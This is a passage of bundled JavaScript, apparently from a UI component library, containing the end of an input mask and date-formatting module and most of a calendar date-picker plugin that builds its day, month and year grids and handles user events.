options.mask.split(';'); options.mask = t[0]; } options.mask = options.mask.replace(new RegExp(/\[h]/),'|h|'); options.mask = options.mask.replace(new RegExp(/\[.*?\]/),''); options.mask = options.mask.replace(new RegExp(/\|h\|/),'[h]'); } // Get decimal getDecimal.call(options, options.mask); var type = null; var value = null; if (options.type == 'percent' || options.options.style == 'percent') { type = 'percentage'; } else if (options.mask) { type = getType.call(options, options.mask); } if (type === 'general') { var o = obj(v, options, true); value = v; } else if (type === 'datetime') { if (v instanceof Date) { v = obj.getDateString(v, options.mask); } var o = obj(v, options, true); if (helpers.isNumeric(v)) { value = v; } else { value = extractDate.call(o); } } else { value = Extract.call(options, v); // Percentage if (type === 'percentage' && v.indexOf('%') !== -1) { value /= 100; } var o = options; } o.value = value; if (! o.type && type) { o.type = type; } if (returnObject) { return o; } else { return value; } } /** * Render */ obj.render = function(value, options, fullMask) { if (isBlank(value)) { return value; } if (typeof(options) != 'object') { return value; } else { options = Object.assign({}, options); if (! options.options) { options.options = {}; } } // Compatibility if (! options.mask && options.format) { options.mask = options.format; } // Remove [] if (options.mask) { if (options.mask.indexOf(';') !== -1) { var t = options.mask.split(';'); if (! fullMask) { t[0] = t[0].replace(new RegExp(/_\)/g), ''); t[0] = t[0].replace(new RegExp(/_\(/g), ''); } options.mask = t[0]; } options.mask = options.mask.replace(new RegExp(/\[h]/),'|h|'); options.mask = options.mask.replace(new RegExp(/\[.*?\]/),''); options.mask = options.mask.replace(new RegExp(/\|h\|/),'[h]'); } var type = null; if (options.type == 'percent' || options.options.style == 'percent') { type = 'percentage'; } else if (options.mask) { type = getType.call(options, options.mask); } else if (value instanceof Date) { type = 'datetime'; } // Fill with blanks var fillWithBlanks = false; if (type =='datetime' || options.type == 'calendar') { var t = obj.getDateString(value, options.mask); if (t) { value = t; } if (options.mask && fullMask) { fillWithBlanks = true; } } else { // Percentage if (type == 'percentage') { value *= 100; } // Number of decimal places if (typeof(value) === 'number') { var t = null; if (options.mask && fullMask && ((''+value).indexOf('e') === -1)) { var d = getDecimal.call(options, options.mask); if (options.mask.indexOf(d) !== -1) { d = options.mask.split(d); d = (''+d[1].match(/[0-9]+/g)) d = d.length; t = value.toFixed(d); } else { t = value.toFixed(0); } } else if (options.locale && fullMask) { // Append zeros var d = (''+value).split('.'); if (options.options) { if (typeof(d[1]) === 'undefined') { d[1] = ''; } var len = d[1].length; if (options.options.minimumFractionDigits > len) { for (var i = 0; i < options.options.minimumFractionDigits - len; i++) { d[1] += '0'; } } } if (! d[1].length) { t = d[0] } else { t = d.join('.'); } var len = d[1].length; if (options.options && options.options.maximumFractionDigits < len) { t = parseFloat(t).toFixed(options.options.maximumFractionDigits); } } else { t = toPlainString(value); } if (t !== null) { value = t; // Get decimal getDecimal.call(options, options.mask); // Replace to the correct decimal if (options.options.decimal) { value = value.replace('.', options.options.decimal); } } } else { if (options.mask && fullMask) { fillWithBlanks = true; } } } if (fillWithBlanks) { var s = options.mask.length - value.length; if (s > 0) { for (var i = 0; i < s; i++) { value += ' '; } } } value = obj(value, options); // Numeric mask, number of zeros if (fullMask && type === 'numeric') { var maskZeros = options.mask.match(new RegExp(/^[0]+$/gm)); if (maskZeros && maskZeros.length === 1) { var maskLength = maskZeros[0].length; if (maskLength > 3) { value = '' + value; while (value.length < maskLength) { value = '0' + value; } } } } return value; } obj.set = function(e, m) { if (m) { e.setAttribute('data-mask', m); // Reset the value var event = new Event('input', { bubbles: true, cancelable: true, }); e.dispatchEvent(event); } } // Helper to extract date from a string obj.extractDateFromString = function (date, format) { var o = obj(date, { mask: format }, true); // Check if in format Excel (Need difference with format date or type detected is numeric) if (date > 0 && Number(date) == date && (o.values.join("") !== o.value || o.type == "numeric")) { var d = new Date(Math.round((date - 25569) * 86400 * 1000)); return d.getFullYear() + "-" + helpers.two(d.getMonth()) + "-" + helpers.two(d.getDate()) + ' 00:00:00'; } var complete = false; if (o.values.length === o.tokens.length && o.values[o.values.length - 1].length >= o.tokens[o.tokens.length - 1].length) { complete = true; } if (o.date[0] && o.date[1] && (o.date[2] || complete)) { if (!o.date[2]) { o.date[2] = 1; } return o.date[0] + '-' + helpers.two(o.date[1]) + '-' + helpers.two(o.date[2]) + ' ' + helpers.two(o.date[3]) + ':' + helpers.two(o.date[4]) + ':' + helpers.two(o.date[5]); } return ''; } // Helper to convert date into string obj.getDateString = function (value, options) { if (!options) { var options = {}; } // Labels if (options && typeof (options) == 'object') { var format = options.format; } else { var format = options; } if (!format) { format = 'YYYY-MM-DD'; } // Convert to number of hours if (format.indexOf('[h]') >= 0) { var result = 0; if (value && helpers.isNumeric(value)) { result = parseFloat(24 * Number(value)); if (format.indexOf('mm') >= 0) { var h = ('' + result).split('.'); if (h[1]) { var d = 60 * parseFloat('0.' + h[1]) d = parseFloat(d.toFixed(2)); } else { var d = 0; } result = parseInt(h[0]) + ':' + helpers.two(d); } } return result; } // Date instance if (value instanceof Date) { value = helpers_date.now(value); } else if (value && helpers.isNumeric(value)) { value = helpers_date.numToDate(value); } // Tokens var tokens = ['DAY', 'WD', 'DDDD', 'DDD', 'DD', 'D', 'Q', 'HH24', 'HH12', 'HH', 'H', 'AM/PM', 'MI', 'SS', 'MS', 'YYYY', 'YYY', 'YY', 'Y', 'MONTH', 'MON', 'MMMMM', 'MMMM', 'MMM', 'MM', 'M', '.']; // Expression to extract all tokens from the string var e = new RegExp(tokens.join('|'), 'gi'); // Extract var t = format.match(e); // Compatibility with excel for (var i = 0; i < t.length; i++) { if (t[i].toUpperCase() == 'MM') { // Not a month, correct to minutes if (t[i - 1] && t[i - 1].toUpperCase().indexOf('H') >= 0) { t[i] = 'mi'; } else if (t[i - 2] && t[i - 2].toUpperCase().indexOf('H') >= 0) { t[i] = 'mi'; } else if (t[i + 1] && t[i + 1].toUpperCase().indexOf('S') >= 0) { t[i] = 'mi'; } else if (t[i + 2] && t[i + 2].toUpperCase().indexOf('S') >= 0) { t[i] = 'mi'; } } } // Object var o = { tokens: t } // Value if (value) { var d = '' + value; var splitStr = (d.indexOf('T') !== -1) ? 'T' : ' '; d = d.split(splitStr); var h = 0; var m = 0; var s = 0; if (d[1]) { h = d[1].split(':'); m = h[1] ? h[1] : 0; s = h[2] ? h[2] : 0; h = h[0] ? h[0] : 0; } d = d[0].split('-'); if (d[0] && d[1] && d[2] && d[0] > 0 && d[1] > 0 && d[1] < 13 && d[2] > 0 && d[2] < 32) { // Data o.data = [d[0], d[1], d[2], h, m, s]; // Value o.value = []; // Calendar instance var calendar = new Date(o.data[0], o.data[1] - 1, o.data[2], o.data[3], o.data[4], o.data[5]); // Get method var get = function (i) { // Token var t = this.tokens[i]; // Case token var s = t.toUpperCase(); var v = null; if (s === 'YYYY') { v = this.data[0]; } else if (s === 'YYY') { v = this.data[0].substring(1, 4); } else if (s === 'YY') { v = this.data[0].substring(2, 4); } else if (s === 'Y') { v = this.data[0].substring(3, 4); } else if (t === 'MON') { v = helpers_date.months[calendar.getMonth()].substr(0, 3).toUpperCase(); } else if (t === 'mon') { v = helpers_date.months[calendar.getMonth()].substr(0, 3).toLowerCase(); } else if (t === 'MONTH') { v = helpers_date.months[calendar.getMonth()].toUpperCase(); } else if (t === 'month') { v = helpers_date.months[calendar.getMonth()].toLowerCase(); } else if (s === 'MMMMM') { v = helpers_date.months[calendar.getMonth()].substr(0, 1); } else if (s === 'MMMM' || t === 'Month') { v = helpers_date.months[calendar.getMonth()]; } else if (s === 'MMM' || t == 'Mon') { v = helpers_date.months[calendar.getMonth()].substr(0, 3); } else if (s === 'MM') { v = helpers.two(this.data[1]); } else if (s === 'M') { v = calendar.getMonth() + 1; } else if (t === 'DAY') { v = helpers_date.weekdays[calendar.getDay()].toUpperCase(); } else if (t === 'day') { v = helpers_date.weekdays[calendar.getDay()].toLowerCase(); } else if (s === 'DDDD' || t == 'Day') { v = helpers_date.weekdays[calendar.getDay()]; } else if (s === 'DDD') { v = helpers_date.weekdays[calendar.getDay()].substr(0, 3); } else if (s === 'DD') { v = helpers.two(this.data[2]); } else if (s === 'D') { v = parseInt(this.data[2]); } else if (s === 'Q') { v = Math.floor((calendar.getMonth() + 3) / 3); } else if (s === 'HH24' || s === 'HH') { v = this.data[3]; if (v > 12 && this.tokens.indexOf('am/pm') !== -1) { v -= 12; } v = helpers.two(v); } else if (s === 'HH12') { if (this.data[3] > 12) { v = helpers.two(this.data[3] - 12); } else { v = helpers.two(this.data[3]); } } else if (s === 'H') { v = this.data[3]; if (v > 12 && this.tokens.indexOf('am/pm') !== -1) { v -= 12; v = helpers.two(v); } } else if (s === 'MI') { v = helpers.two(this.data[4]); } else if (s === 'SS') { v = helpers.two(this.data[5]); } else if (s === 'MS') { v = calendar.getMilliseconds(); } else if (s === 'AM/PM') { if (this.data[3] >= 12) { v = 'PM'; } else { v = 'AM'; } } else if (s === 'WD') { v = helpers_date.weekdays[calendar.getDay()]; } if (v === null) { this.value[i] = this.tokens[i]; } else { this.value[i] = v; } } for (var i = 0; i < o.tokens.length; i++) { get.call(o, i); } // Put pieces together value = o.value.join(''); } else { value = ''; } } return value; } return obj; } /* harmony default export */ var mask = (Mask()); ;// CONCATENATED MODULE: ./src/plugins/calendar.js function Calendar() { var Component = (function (el, options) { // Already created, update options if (el.calendar) { return el.calendar.setOptions(options, true); } // New instance var obj = {type: 'calendar'}; obj.options = {}; // Date obj.date = null; /** * Update options */ obj.setOptions = function (options, reset) { // Default configuration var defaults = { // Render type: [ default | year-month-picker ] type: 'default', // Restrictions validRange: null, // Starting weekday - 0 for sunday, 6 for saturday startingDay: null, // Date format format: 'DD/MM/YYYY', // Allow keyboard date entry readonly: true, // Today is default today: false, // Show timepicker time: false, // Show the reset button resetButton: true, // Placeholder placeholder: '', // Translations can be done here months: helpers_date.monthsShort, monthsFull: helpers_date.months, weekdays: helpers_date.weekdays, textDone: dictionary.translate('Done'), textReset: dictionary.translate('Reset'), textUpdate: dictionary.translate('Update'), // Value value: null, // Fullscreen (this is automatic set for screensize < 800) fullscreen: false, // Create the calendar closed as default opened: false, // Events onopen: null, onclose: null, onchange: null, onupdate: null, // Internal mode controller mode: null, position: null, // Data type dataType: null, // Controls controls: true, // Auto select autoSelect: true, } // Loop through our object for (var property in defaults) { if (options && options.hasOwnProperty(property)) { obj.options[property] = options[property]; } else { if (typeof (obj.options[property]) == 'undefined' || reset === true) { obj.options[property] = defaults[property]; } } } // Reset button if (obj.options.resetButton == false) { calendarReset.style.display = 'none'; } else { calendarReset.style.display = ''; } // Readonly if (obj.options.readonly) { el.setAttribute('readonly', 'readonly'); } else { el.removeAttribute('readonly'); } // Placeholder if (obj.options.placeholder) { el.setAttribute('placeholder', obj.options.placeholder); } else { el.removeAttribute('placeholder'); } if (helpers.isNumeric(obj.options.value) && obj.options.value > 0) { obj.options.value = Component.numToDate(obj.options.value); // Data type numeric obj.options.dataType = 'numeric'; } // Texts calendarReset.innerHTML = obj.options.textReset; calendarConfirm.innerHTML = obj.options.textDone; calendarControlsUpdateButton.innerHTML = obj.options.textUpdate; // Define mask el.setAttribute('data-mask', obj.options.format.toLowerCase()); // Value if (!obj.options.value && obj.options.today) { var value = Component.now(); } else { var value = obj.options.value; } // Set internal date if (value) { // Force the update obj.options.value = null; // New value obj.setValue(value); } return obj; } /** * Open the calendar */ obj.open = function (value) { if (!calendar.classList.contains('jcalendar-focus')) { if (!calendar.classList.contains('jcalendar-inline')) { // Current Component.current = obj; // Start tracking Tracking(obj, true); // Create the days obj.getDays(); // Render months if (obj.options.type == 'year-month-picker') { obj.getMonths(); } // Get time if (obj.options.time) { calendarSelectHour.value = obj.date[3]; calendarSelectMin.value = obj.date[4]; } // Show calendar calendar.classList.add('jcalendar-focus'); // Get the position of the corner helper if (helpers.getWindowWidth() < 800 || obj.options.fullscreen) { calendar.classList.add('jcalendar-fullsize'); // Animation animation.slideBottom(calendarContent, 1); } else { calendar.classList.remove('jcalendar-fullsize'); var rect = el.getBoundingClientRect(); var rectContent = calendarContent.getBoundingClientRect(); if (obj.options.position) { calendarContainer.style.position = 'fixed'; if (window.innerHeight < rect.bottom + rectContent.height) { calendarContainer.style.top = (rect.top - (rectContent.height + 2)) + 'px'; } else { calendarContainer.style.top = (rect.top + rect.height + 2) + 'px'; } calendarContainer.style.left = rect.left + 'px'; } else { if (window.innerHeight < rect.bottom + rectContent.height) { var d = -1 * (rect.height + rectContent.height + 2); if (d + rect.top < 0) { d = -1 * (rect.top + rect.height); } calendarContainer.style.top = d + 'px'; } else { calendarContainer.style.top = 2 + 'px'; } if (window.innerWidth < rect.left + rectContent.width) { var d = window.innerWidth - (rect.left + rectContent.width + 20); calendarContainer.style.left = d + 'px'; } else { calendarContainer.style.left = '0px'; } } } // Events if (typeof (obj.options.onopen) == 'function') { obj.options.onopen(el); } } } } obj.close = function (ignoreEvents, update) { if (obj.options.autoSelect !== true && typeof(update) === 'undefined') { update = false; } if (calendar.classList.contains('jcalendar-focus')) { if (update !== false) { var element = calendar.querySelector('.jcalendar-selected'); if (typeof (update) == 'string') { var value = update; } else if (!element || element.classList.contains('jcalendar-disabled')) { var value = obj.options.value } else { var value = obj.getValue(); } obj.setValue(value); } else { if (obj.options.value) { let value = obj.options.value; obj.options.value = ''; obj.setValue(value) } } // Events if (!ignoreEvents && typeof (obj.options.onclose) == 'function') { obj.options.onclose(el); } // Hide calendar.classList.remove('jcalendar-focus'); // Stop tracking Tracking(obj, false); // Current Component.current = null; } return obj.options.value; } obj.prev = function () { // Check if the visualization is the days picker or years picker if (obj.options.mode == 'years') { obj.date[0] = obj.date[0] - 12; // Update picker table of days obj.getYears(); } else if (obj.options.mode == 'months') { obj.date[0] = parseInt(obj.date[0]) - 1; // Update picker table of months obj.getMonths(); } else { // Go to the previous month if (obj.date[1] < 2) { obj.date[0] = obj.date[0] - 1; obj.date[1] = 12; } else { obj.date[1] = obj.date[1] - 1; } // Update picker table of days obj.getDays(); } } obj.next = function () { // Check if the visualization is the days picker or years picker if (obj.options.mode == 'years') { obj.date[0] = parseInt(obj.date[0]) + 12; // Update picker table of days obj.getYears(); } else if (obj.options.mode == 'months') { obj.date[0] = parseInt(obj.date[0]) + 1; // Update picker table of months obj.getMonths(); } else { // Go to the previous month if (obj.date[1] > 11) { obj.date[0] = parseInt(obj.date[0]) + 1; obj.date[1] = 1; } else { obj.date[1] = parseInt(obj.date[1]) + 1; } // Update picker table of days obj.getDays(); } } /** * Set today */ obj.setToday = function () { // Today var value = new Date().toISOString().substr(0, 10); // Change value obj.setValue(value); // Value return value; } obj.setValue = function (val) { if (!val) { val = '' + val; } // Values var newValue = val; var oldValue = obj.options.value; if (oldValue != newValue) { // Set label if (!newValue) { obj.date = null; var val = ''; el.classList.remove('jcalendar_warning'); el.title = ''; } else { var value = obj.setLabel(newValue, obj.options); var date = newValue.split(' '); if (!date[1]) { date[1] = '00:00:00'; } var time = date[1].split(':') var date = date[0].split('-'); var y = parseInt(date[0]); var m = parseInt(date[1]); var d = parseInt(date[2]); var h = parseInt(time[0]); var i = parseInt(time[1]); obj.date = [y, m, d, h, i, 0]; var val = obj.setLabel(newValue, obj.options); // Current selection day var current = Component.now(new Date(y, m - 1, d), true); // Available ranges if (obj.options.validRange) { if (!obj.options.validRange[0] || current >= obj.options.validRange[0]) { var test1 = true; } else { var test1 = false; } if (!obj.options.validRange[1] || current <= obj.options.validRange[1]) { var test2 = true; } else { var test2 = false; } if (!(test1 && test2)) { el.classList.add('jcalendar_warning'); el.title = dictionary.translate('Date outside the valid range'); } else { el.classList.remove('jcalendar_warning'); el.title = ''; } } else { el.classList.remove('jcalendar_warning'); el.title = ''; } } // New value obj.options.value = newValue; if (typeof (obj.options.onchange) == 'function') { obj.options.onchange(el, newValue, oldValue); } // Lemonade JS if (el.value != val) { el.value = val; if (typeof (el.oninput) == 'function') { el.oninput({ type: 'input', target: el, value: el.value }); } } } obj.getDays(); // Render months if (obj.options.type == 'year-month-picker') { obj.getMonths(); } } obj.getValue = function () { if (obj.date) { if (obj.options.time) { return helpers.two(obj.date[0]) + '-' + helpers.two(obj.date[1]) + '-' + helpers.two(obj.date[2]) + ' ' + helpers.two(obj.date[3]) + ':' + helpers.two(obj.date[4]) + ':' + helpers.two(0); } else { return helpers.two(obj.date[0]) + '-' + helpers.two(obj.date[1]) + '-' + helpers.two(obj.date[2]) + ' ' + helpers.two(0) + ':' + helpers.two(0) + ':' + helpers.two(0); } } else { return ""; } } /** * Calendar */ obj.update = function (element, v) { if (element.classList.contains('jcalendar-disabled')) { // Do nothing } else { var elements = calendar.querySelector('.jcalendar-selected'); if (elements) { elements.classList.remove('jcalendar-selected'); } element.classList.add('jcalendar-selected'); if (element.classList.contains('jcalendar-set-month')) { obj.date[1] = v; obj.date[2] = 1; // first day of the month } else { obj.date[2] = element.innerText; } if (!obj.options.time) { obj.close(null, true); } else { obj.date[3] = calendarSelectHour.value; obj.date[4] = calendarSelectMin.value; } } // Update updateActions(); } /** * Set to blank */ obj.reset = function () { // Close calendar obj.setValue(''); obj.date = null; obj.close(false, false); } /** * Get calendar days */ obj.getDays = function () { // Mode obj.options.mode = 'days'; // Setting current values in case of NULLs var date = new Date(); // Current selection var year = obj.date && helpers.isNumeric(obj.date[0]) ? obj.date[0] : parseInt(date.getFullYear()); var month = obj.date && helpers.isNumeric(obj.date[1]) ? obj.date[1] : parseInt(date.getMonth()) + 1; var day = obj.date && helpers.isNumeric(obj.date[2]) ? obj.date[2] : parseInt(date.getDate()); var hour = obj.date && helpers.isNumeric(obj.date[3]) ? obj.date[3] : parseInt(date.getHours()); var min = obj.date && helpers.isNumeric(obj.date[4]) ? obj.date[4] : parseInt(date.getMinutes()); // Selection container obj.date = [year, month, day, hour, min, 0]; // Update title calendarLabelYear.innerHTML = year; calendarLabelMonth.innerHTML = obj.options.months[month - 1]; // Current month and Year var isCurrentMonthAndYear = (date.getMonth() == month - 1) && (date.getFullYear() == year) ? true : false; var currentDay = date.getDate(); // Number of days in the month var date = new Date(year, month, 0, 0, 0); var numberOfDays = date.getDate(); // First day var date = new Date(year, month - 1, 0, 0, 0); var firstDay = date.getDay() + 1; // Index value var index = obj.options.startingDay || 0; // First of day relative to the starting calendar weekday firstDay = firstDay - index; // Reset table calendarBody.innerHTML = ''; // Weekdays Row var row = document.createElement('tr'); row.setAttribute('align', 'center'); calendarBody.appendChild(row); // Create weekdays row for (var i = 0; i < 7; i++) { var cell = document.createElement('td'); cell.classList.add('jcalendar-weekday') cell.innerHTML = obj.options.weekdays[index].substr(0, 1); row.appendChild(cell); // Next week day index++; // Restart index if (index > 6) { index = 0; } } // Index of days var index = 0; var d = 0; // Calendar table for (var j = 0; j < 6; j++) { // Reset cells container var row = document.createElement('tr'); row.setAttribute('align', 'center'); row.style.height = '34px'; // Create cells for (var i = 0; i < 7; i++) { // Create cell var cell = document.createElement('td'); cell.classList.add('jcalendar-set-day'); if (index >= firstDay && index < (firstDay + numberOfDays)) { // Day cell d++; cell.innerHTML = d; // Selected if (d == day) { cell.classList.add('jcalendar-selected'); } // Current selection day is today if (isCurrentMonthAndYear && currentDay == d) { cell.style.fontWeight = 'bold'; } // Current selection day var current = Component.now(new Date(year, month - 1, d), true); // Available ranges if (obj.options.validRange) { if (!obj.options.validRange[0] || current >= obj.options.validRange[0]) { var test1 = true; } else { var test1 = false; } if (!obj.options.validRange[1] || current <= obj.options.validRange[1]) { var test2 = true; } else { var test2 = false; } if (!(test1 && test2)) { cell.classList.add('jcalendar-disabled'); } } } // Day cell row.appendChild(cell); // Index index++; } // Add cell to the calendar body calendarBody.appendChild(row); } // Show time controls if (obj.options.time) { calendarControlsTime.style.display = ''; } else { calendarControlsTime.style.display = 'none'; } // Update updateActions(); } obj.getMonths = function () { // Mode obj.options.mode = 'months'; // Loading month labels var months = obj.options.months; // Value var value = obj.options.value; // Current date var date = new Date(); var currentYear = parseInt(date.getFullYear()); var currentMonth = parseInt(date.getMonth()) + 1; var selectedYear = obj.date && helpers.isNumeric(obj.date[0]) ? obj.date[0] : currentYear; var selectedMonth = obj.date && helpers.isNumeric(obj.date[1]) ? obj.date[1] : currentMonth; // Update title calendarLabelYear.innerHTML = obj.date[0]; calendarLabelMonth.innerHTML = months[selectedMonth - 1]; // Table var table = document.createElement('table'); table.setAttribute('width', '100%'); // Row var row = null; // Calendar table for (var i = 0; i < 12; i++) { if (!(i % 4)) { // Reset cells container var row = document.createElement('tr'); row.setAttribute('align', 'center'); table.appendChild(row); } // Create cell var cell = document.createElement('td'); cell.classList.add('jcalendar-set-month'); cell.setAttribute('data-value', i + 1); cell.innerText = months[i]; if (obj.options.validRange) { var current = selectedYear + '-' + helpers.two(i + 1); if (!obj.options.validRange[0] || current >= obj.options.validRange[0].substr(0, 7)) { var test1 = true; } else { var test1 = false; } if (!obj.options.validRange[1] || current <= obj.options.validRange[1].substr(0, 7)) { var test2 = true; } else { var test2 = false; } if (!(test1 && test2)) { cell.classList.add('jcalendar-disabled'); } } if (i + 1 == selectedMonth) { cell.classList.add('jcalendar-selected'); } if (currentYear == selectedYear && i + 1 == currentMonth) { cell.style.fontWeight = 'bold'; } row.appendChild(cell); } calendarBody.innerHTML = '<tr><td colspan="7"></td></tr>'; calendarBody.children[0].children[0].appendChild(table); // Update updateActions(); } obj.getYears = function () { // Mode obj.options.mode = 'years'; // Current date var date = new Date(); var currentYear = date.getFullYear(); var selectedYear = obj.date && helpers.isNumeric(obj.date[0]) ? obj.date[0] : parseInt(date.getFullYear()); // Array of years var y = []; for (var i = 0; i < 25; i++) { y[i] = parseInt(obj.date[0]) + (i - 12); } // Assembling the year tables var table = document.createElement('table'); table.setAttribute('width', '100%'); for (var i = 0; i < 25; i++) { if (!(i % 5)) { // Reset cells container var row = document.createElement('tr'); row.setAttribute('align', 'center'); table.appendChild(row); } // Create cell var cell = document.createElement('td'); cell.classList.add('jcalendar-set-year'); cell.innerText = y[i]; if (selectedYear == y[i]) { cell.classList.add('jcalendar-selected'); } if (currentYear == y[i]) { cell.style.fontWeight = 'bold'; } row.appendChild(cell); } calendarBody.innerHTML = '<tr><td colspan="7"></td></tr>'; calendarBody.firstChild.firstChild.appendChild(table); // Update updateActions(); } obj.setLabel = function (value, mixed) { return Component.getDateString(value, mixed); } obj.fromFormatted = function (value, format) { return Component.extractDateFromString(value, format); } var mouseUpControls = function (e) { var element = helpers.findElement(e.target, 'jcalendar-container'); if (element) { var action = e.target.className; // Object id if (action == 'jcalendar-prev') { obj.prev(); } else if (action == 'jcalendar-next') { obj.next(); } else if (action == 'jcalendar-month') { obj.getMonths(); } else if (action == 'jcalendar-year') { obj.getYears(); } else if (action == 'jcalendar-set-year') { obj.date[0] = e.target.innerText; if (obj.options.type == 'year-month-picker') { obj.getMonths(); } else { obj.getDays(); } } else if (e.target.classList.contains('jcalendar-set-month')) { var month = parseInt(e.target.getAttribute('data-value')); if (obj.options.type == 'year-month-picker') { obj.update(e.target, month); } else { obj.date[1] = month; obj.getDays(); } } else if (action == 'jcalendar-confirm' || action == 'jcalendar-update' || action == 'jcalendar-close') { obj.close(null, true); } else if (action == 'jcalendar-backdrop') { obj.close(false, false); } else if (action == 'jcalendar-reset') { obj.reset(); } else if (e.target.classList.contains('jcalendar-set-day') && e.target.innerText) { obj.update(e.target); } } else { obj.close(false, false); } } var keyUpControls = function (e) { if (e.target.value && e.target.value.length > 3) { var test = Component.extractDateFromString(e.target.value, obj.options.format); if (test) { obj.setValue(test); } } } // Update actions button var updateActions = function () { var currentDay = calendar.querySelector('.jcalendar-selected'); if (currentDay && currentDay.classList.contains('jcalendar-disabled')) { calendarControlsUpdateButton.setAttribute('disabled', 'disabled'); calendarSelectHour.setAttribute('disabled', 'disabled'); calendarSelectMin.setAttribute('disabled', 'disabled'); } else { calendarControlsUpdateButton.removeAttribute('disabled'); calendarSelectHour.removeAttribute('disabled'); calendarSelectMin.removeAttribute('disabled'); } // Event if (typeof (obj.options.onupdate) == 'function') { obj.options.onupdate(el, obj.getValue()); } } var calendar = null; var calendarReset = null; var calendarConfirm = null; var calendarContainer = null; var calendarContent = null; var calendarLabelYear = null; var calendarLabelMonth = null; var calendarTable = null; var calendarBody = null; var calendarControls = null; var calendarControlsTime = null; var calendarControlsUpdate = null; var calendarControlsUpdateButton = null; var calendarSelectHour = null; var calendarSelectMin = null; var init = function () { // Get value from initial element if that is an input if (el.tagName == 'INPUT' && el.value) { options.value = el.value; } // Calendar DOM elements calendarReset = document.createElement('div'); calendarReset.className = 'jcalendar-reset'; calendarConfirm = document.createElement('div'); calendarConfirm.className = 'jcalendar-confirm'; calendarControls = document.createElement('div'); calendarControls.className = 'jcalendar-controls' calendarControls.style.borderBottom = '1px solid #ddd'; calendarControls.appendChild(calendarReset); calendarControls.appendChild(calendarConfirm); calendarContainer = document.createElement('div'); calendarContainer.className = 'jcalendar-container'; calendarContent = document.createElement('div'); calendarContent.className = 'jcalendar-content'; calendarContainer.appendChild(calendarContent); // Main element if (el.tagName == 'DIV') { calendar = el; calendar.classList.add('jcalendar-inline'); } else { // Add controls to the screen calendarContent.appendChild(calendarControls); calendar = document.createElement('div'); calendar.className = 'jcalendar'; } calendar.classList.add('jcalendar-container'); calendar.appendChild(calendarContainer); // Table container var calendarTableContainer = document.createElement('div'); calendarTableContainer.className = 'jcalendar-table'; calendarContent.appendChild(calendarTableContainer); // Previous button var calendarHeaderPrev = document.createElement('td'); calendarHeaderPrev.setAttribute('colspan', '2'); calendarHeaderPrev.className = 'jcalendar-prev'; // Header with year and month calendarLabelYear = document.createElement('span'); calendarLabelYear.className = 'jcalendar-year'; calendarLabelMonth = document.createElement('span'); calendarLabelMonth.className = 'jcalendar-month'; var calendarHeaderTitle = document.createElement('td'); calendarHeaderTitle.className = 'jcalendar-header'; calendarHeaderTitle.setAttribute('colspan', '3'); calendarHeaderTitle.appendChild(calendarLabelMonth); calendarHeaderTitle.appendChild(calendarLabelYear); var calendarHeaderNext = document.createElement('td'); calendarHeaderNext.setAttribute('colspan', '2'); calendarHeaderNext.className = 'jcalendar-next'; var calendarHeader = document.createElement('thead'); var calendarHeaderRow = document.createElement('tr'); calendarHeaderRow.appendChild(calendarHeaderPrev); calendarHeaderRow.appendChild(calendarHeaderTitle); calendarHeaderRow.appendChild(calendarHeaderNext); calendarHeader.appendChild(calendarHeaderRow); calendarTable = document.createElement('table'); calendarBody = document.createElement('tbody'); calendarTable.setAttribute('cellpadding', '0'); calendarTable.setAttribute('cellspacing', '0'); calendarTable.appendChild(calendarHeader); calendarTable.appendChild(calendarBody); calendarTableContainer.appendChild(calendarTable); calendarSelectHour = document.createElement('select'); calendarSelectHour.className = 'jcalendar-select'; calendarSelectHour.onchange = function () { obj.date[3] = this.value; // Event if (typeof (obj.options.onupdate) == 'function') { obj.options.onupdate(el, obj.getValue()); } } for (var i = 0; i < 24; i++) { var element = document.createElement('option'); element.value = i; element.innerHTML = helpers.two(i); calendarSelectHour.appendChild(element); } calendarSelectMin = document.createElement('select'); calendarSelectMin.className = 'jcalendar-select'; calendarSelectMin.onchange = function () { obj.date[4] = this.value; // Event if (typeof (obj.options.onupdate) == 'function') { obj.options.onupdate(el, obj.getValue()); } } for (var i = 0; i < 60; i++) { var element = document.createElement('option'); element.value = i; element.innerHTML = helpers.two(i); calendarSelectMin.appendChild(element); } // Footer controls var calendarControlsFooter = document.createElement('div'); calendarControlsFooter.className = 'jcalendar-controls'; calendarControlsTime = document.createElement('div'); calendarControlsTime.className = 'jcalendar-time'; calendarControlsTime.style.maxWidth = '140px'; calendarControlsTime.appendChild(calendarSelectHour); calendarControlsTime.appendChild(calendarSelectMin); calendarControlsUpdateButton = document.createElement('button'); calendarControlsUpdateButton.setAttribute('type', 'button'); calendarControlsUpdateButton.className = 'jcalendar-update'; calendarControlsUpdate = document.createElement('div'); calendarControlsUpdate.style.flexGrow = '10'; calendarControlsUpdate.appendChild(calendarControlsUpdateButton); calendarControlsFooter.appendChild(calendarControlsTime); // Only show the update button for input elements if (el.tagName == 'INPUT') { calendarControlsFooter.appendChild(calendarControlsUpdate); } calendarContent.appendChild(calendarControlsFooter); var calendarBackdrop = document.createElement('div'); calendarBackdrop.className = 'jcalendar-backdrop'; calendar.appendChild(calendarBackdrop); // Handle events el.addEventListener("keyup", keyUpControls); // Add global events calendar.addEventListener("swipeleft", function (e) { animation.slideLeft(calendarTable, 0, function () { obj.next(); animation.slideRight(calendarTable, 1); }); e.preventDefault(); e.stopPropagation(); }); calendar.addEventListener("swiperight", function (e) { animation.slideRight(calendarTable, 0, function () { obj.prev(); animation.slideLeft(calendarTable, 1); }); e.preventDefault(); e.stopPropagation(); }); if ('ontouchend' in document.documentElement === true) { calendar.addEventListener("touchend", mouseUpControls); el.addEventListener("touchend", obj.open); } else { calendar.addEventListener("mouseup", mouseUpControls); el.addEventListener("mouseup", obj.open); } // Global controls if (!Component.hasEvents) { // Execute only one time Component.hasEvents = true; // Enter and Esc document.addEventListener("keydown", Component.keydown); } // Set configuration obj.setOptions(options); // Append element to the DOM if (el.tagName == 'INPUT') { el.parentNode.insertBefore(calendar, el.nextSibling); // Add properties el.setAttribute('autocomplete', 'off'); // Element el.classList.add('jcalendar-input'); // Value el.value = obj.setLabel(obj.getValue(), obj.options); } else { // Get days obj.getDays(); // Hour if (obj.options.time) { calendarSelectHour.value = obj.date[3]; calendarSelectMin.value = obj.date[4]; } } // Default opened if (obj.options.opened == true) { obj.open(); } // Controls if (obj.options.controls == false) { calendarContainer.classList.add('jcalendar-hide-controls'); } // Change method el.change = obj.setValue; // Global generic value handler el.val = function (val) { if (val === undefined) { return obj.getValue(); } else { obj.setValue(val); } } // Keep object available from the node el.calendar = calendar.calendar = obj; } init(); return obj; }); Component.keydown = function (e) { var calendar = null; if (calendar = 